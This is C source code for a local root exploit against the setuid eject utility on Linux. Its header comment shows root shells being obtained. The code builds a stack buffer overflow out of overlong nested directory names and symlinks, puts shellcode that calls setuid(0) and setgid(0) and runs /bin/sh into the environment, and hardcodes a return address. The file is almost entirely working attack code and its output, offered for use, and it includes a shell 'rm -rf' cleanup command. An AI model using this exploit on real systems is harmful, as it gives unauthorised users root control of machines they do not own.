/*
 * 0day exploit for eject by pi3 (pi3ki31ny)
 *
 * Bug founded by appelast, idea to sploit this bug taken from mcbethh.
 * After one night testing i write this exploit who use environment
 * to plase shellcode. I want write exploit who bypass non-exec stack
 * using ret-into-libc technique but this is imposible in real environment.
 * Why? Becouse if we are in other directory than before than the number
 * for name directory used to do overflow %%eip will change. So write
 * one exploit used ret-into-libc for many machines is imposible but for
 * the one it is. You must only testing.
 *
 * In this exploit i create last all directory by name the ret address so
 * the adress probably will be ok and %%eip will overflow good.
 *
 * Exploit is only for Linux OS. Testing on Slackware 8.0. Look:
 *
 * root@pi3:~/root/all/IsP/projekty/sploity/eject# ./p
 *
 *         ...::: -=[ exploit for eject by pi3 (pi3ki31ny) ]=- :::...
 *
 *         [+] Bulding buffors!
 *         [+] Using adres 0xbfffee01
 *
 * Executing the vuln program - /usr/bin/eject
 *
 * ...::: -=[ www.pi3.int.pl ]=- :::...
 * îÿ¿sh-2.05# exit
 * exit
 * root@pi3:~/root/all/IsP/projekty/sploity/eject#
 *
 * Hm ok let's check from user:
 *
 * root@pi3:~/root/all/IsP/projekty/sploity/eject# cp p /home/pi3/
 * root@pi3:~/root/all/IsP/projekty/sploity/eject# su pi3
 * pi3@pi3:/root/root/all/IsP/projekty/sploity/eject$ cd
 * pi3@pi3:~$ ./p
 *
 *         ...::: -=[ exploit for eject by pi3 (pi3ki31ny) ]=- :::...
 *
 *         [+] Bulding buffors!
 *         [+] Using adres 0xbfffee01
 *
 * Executing the vuln program - /usr/bin/eject
 *
 * ...::: -=[ www.pi3.int.pl ]=- :::...
 * A/pi3sh-2.05# id
 * uid=0(root) gid=0(root) groups=100(users)
 * sh-2.05# exit
 * exit
 * pi3@pi3:~$ cd /tmp
 * pi3@pi3:/tmp$ cp /home/pi3/p ./
 * pi3@pi3:/tmp$ ./p
 * 
 *         ...::: -=[ exploit for eject by pi3 (pi3ki31ny) ]=- :::...
 *
 *         [+] Bulding buffors!
 *         [+] Using adres 0xbfffee01
 *
 * Executing the vuln program - /usr/bin/eject
 * 
 * Segmentation fault
 * pi3@pi3:/tmp$ exit
 * root@pi3:~/root/all/IsP/projekty/sploity/eject# cd /tmp
 * root@pi3:/tmp# gdb -q eject core
 * (no debugging symbols found)...Core was generated by `eject 1/2/3/4/5/6/7/8/9/10/11/12/13/pi3ki31ny'.
 * Program terminated with signal 11, Segmentation fault.
 * Reading symbols from /lib/libc.so.6...done.
 * Loaded symbols for /lib/libc.so.6
 * Reading symbols from /lib/ld-linux.so.2...done.
 * Loaded symbols for /lib/ld-linux.so.2
 * #0  0x4141412f in ?? ()
 * (gdb) qui
 *
 * What the fuck?! Hm... aha we change directory. So lets creat the directory who have long
 * like /home/pi3 or /root/all/IsP/projekty/sploity/eject ;-)
 *
 * root@pi3:/tmp# su pi3
 * pi3@pi3:/tmp$ mkdir home
 * pi3@pi3:/tmp$ cd home
 * pi3@pi3:/tmp/home$ cp /home/pi3/p ./
 * pi3@pi3:/tmp/home$ ./p
 *
 *         ...::: -=[ exploit for eject by pi3 (pi3ki31ny) ]=- :::...
 *
 *         [+] Bulding buffors!
 *         [+] Using adres 0xbfffee01
 *
 * Executing the vuln program - /usr/bin/eject
 * 
 * ...::: -=[ www.pi3.int.pl ]=- :::...
 * A/pi3sh-2.05# id
 * uid=0(root) gid=0(root) groups=100(users)
 * sh-2.05# exit
 * exit
 * pi3@pi3:/tmp/home$
 * 
 * Hehe stil work good :>
 *
 * Eject have suid bit in some Linux distributions like Suse, Covera.
 * Best regards pi3 (pi3ki31ny).
 *
 * Special greetz: appelast, mcbethh
 * Greetz: [greetz on my web] && other my friends (you know who you are)
 *
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PATH "/usr/bin/eject"
#define DIRS 256

/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
                   "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
                   "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
                   "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
                   "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
                   "\x80"

/*    setuid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/*    exec /bin/sh    */

                   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                   "\x80"

/*    exit(0)    */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {
   
//   return (0xbffffffa-strlen(a1)-strlen(a2));
     return 0xbfffee01;
}

int ussage(char *arg) {
   
   printf("\n\t...::: -=[ exploit for eject by pi3 (pi3ki31ny) ]=- :::...\n");
   printf("\n\tUssage:\n\t[+] %s [options]\n
	    -? <this help screen>
	    -o <offset>
	    -p PATH\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {
   
   long ret,*buf_addr;
   char envp[8196],*path=PATH;
   static char *sh[0x02];
   char buf[DIRS],link[4];
   int i,f_p=0,opt,offset=0;
   FILE *fp;
   
   while((opt = getopt(argc,argv,"p:o:?")) != -1) {
	 switch(opt) {
	 	    
	  case 'o':

	    offset=atoi(optarg);
	    break;
	    
	  case 'p':
	    
	    path=optarg;
	    break;
	    
	  case '?':
	  default:
	    
	    ussage(argv[0]);
	    break;
	 }
   }   

   if ( (fp=fopen(path,"r"))==NULL) {
      printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
      ussage(argv[0]);
   } fclose(fp);
   
   system("rm -rf `perl -e 'print \"\\x41\"x255'`; rm -f 1");
       
   printf("\n\t...::: -=[ exploit for eject by pi3 (pi3ki31ny) ]=- :::...\n");
   printf("\n\t[+] Bulding buffors!\n");

   ret=ret_ad(shellcode,path);
   ret+=offset;
   
   printf("\t[+] Using adres 0x%x\n",ret);
   
   memset(envp,0x90,sizeof(envp));
   for (i=0; i<strlen(shellcode); i++)
       envp[8196-strlen(shellcode)+i] = shellcode[i];
   sh[0x00]=envp;
   sh[0x01]=NULL;

   memset(buf,0x41,(size_t)255);
   for (i=0; i<11; i++) {
       snprintf(link, 4, "%d", i+1);
       if ( (f_p = open(buf, 0x000010)) != -1)
           unlink(buf);
       else
           close(f_p);
       assert(mkdir(buf, 0755) != -1);
       if ( (f_p = open(link, 0x000010)) != -1)
           unlink(link);
       else
           close(f_p);
       assert(symlink(buf, link) != -1);
       assert(chdir(buf) != -1);
   }
   strcpy(buf,"AA");
   buf_addr=(long*)&buf[2];
   for (i=0; i<250; i+=4)
      *(buf_addr)++ = ret;
   buf[255]='\0';
   if ( (f_p = open(buf, O_RDONLY)) != -1)
        unlink(buf);
   else
        close(f_p);
   assert(mkdir(buf, 0755) != -1);
   snprintf(link, 4, "%d", 12);
   assert(symlink(buf, link) != -1);
   assert(chdir(buf) != -1);
   if ( (fp = fopen("pi3","w")) == NULL) {
      printf("Error with create file!\n");
      exit(-1);
   }
   fprintf(fp,"1337\n");
   fclose(fp);
   assert(symlink("pi3", "pi3ki31ny") != -1);
   assert(chdir("../../../../../../../../../../../../") != -1);

   printf("\nExecuting the vuln program - %s\n\n",path);
   execle(path,path,"1/2/3/4/5/6/7/8/9/10/11/12/pi3ki31ny", 0, sh); 
  
   return 0;
}

